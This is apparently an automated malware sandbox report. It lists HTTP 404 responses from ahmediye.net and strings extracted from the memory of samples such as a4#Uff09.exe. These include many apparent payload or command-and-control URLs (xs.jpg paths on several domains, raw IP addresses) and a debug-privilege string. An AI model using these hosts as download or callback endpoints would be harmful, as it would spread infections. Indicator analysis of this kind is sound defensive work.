                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:37 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:41 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:45 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:49 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:55 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:59 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:04 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:08 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: plgMeM.exe, 00000002.00000003.1258073018.0000000001530000.00000004.00001000.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpString found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.https=deleted%13%
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://127.0.0.1/R2/server.json
                Source: a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://173.193.19.14/logo.gif
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://89.119.67.154/testo5/
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://89.119.67.154/testo5/http://kukutrustnet777.info/home.gifhttp://kukutrustnet888.info/home.gif
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://a3inforservice.com.br/images/logof.gif
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://accnet.ca/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gif
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?1c0afe0d=-1472072626
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?23fa445e=1741073324
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=197873375462
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754U3
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754s3
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?2b0eedca=39424700
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?2c82c54b=-2054664223-3
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?2f612ca7=1589795150
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?2f612ca7=1589795150;4
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?3510fe43=-1467485672
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?3510fe43=-1467485672s5
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?3bcd0466=1442982908
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?43352d54=-912291844
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?5099e9=26411405
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?64deb2e=105769774
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?64deb2e=105769774w4
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?6f1957af=1296828173U52%
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?8d5908bb=-579912419
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?91511b59=-694843203
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?a4ace5e6=1858140924
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?a4ace5e6=1858140924D2
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?bd6ca73c=-345687584
                Source: dllhost.exe, 00000004.00000003.2398855647.0000019B1F39E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?c4838ba0=1300931296
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?c82e6dfa=1098084304
                Source: dllhost.exe, 00000004.00000003.3071852949.0000019B1F318000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?e366d748=456571456
                Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?1060ca6a=274778730
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?1060ca6a=274778730p
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?11278f4=35975656
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?161f466b=-954631741
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?161f466b=-954631741d
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075mages/xs2.jpg?1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075q0
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?4ad634=19618000
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?4ad634=19618000b=
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?4dcd7ad9=-1684343374
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?62d8d9eb=-978209834
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?62d8d9eb=-978209834w
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?6d101724=18297710447
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?6d101724=1829771044Y
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?71f31a93=1911757459
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?902eb4=18898280
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?95c34f28=-1373996736
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?9689baab=499391149
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?9689baab=4993911490
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060LMEMH
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060V
                Source: a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.j
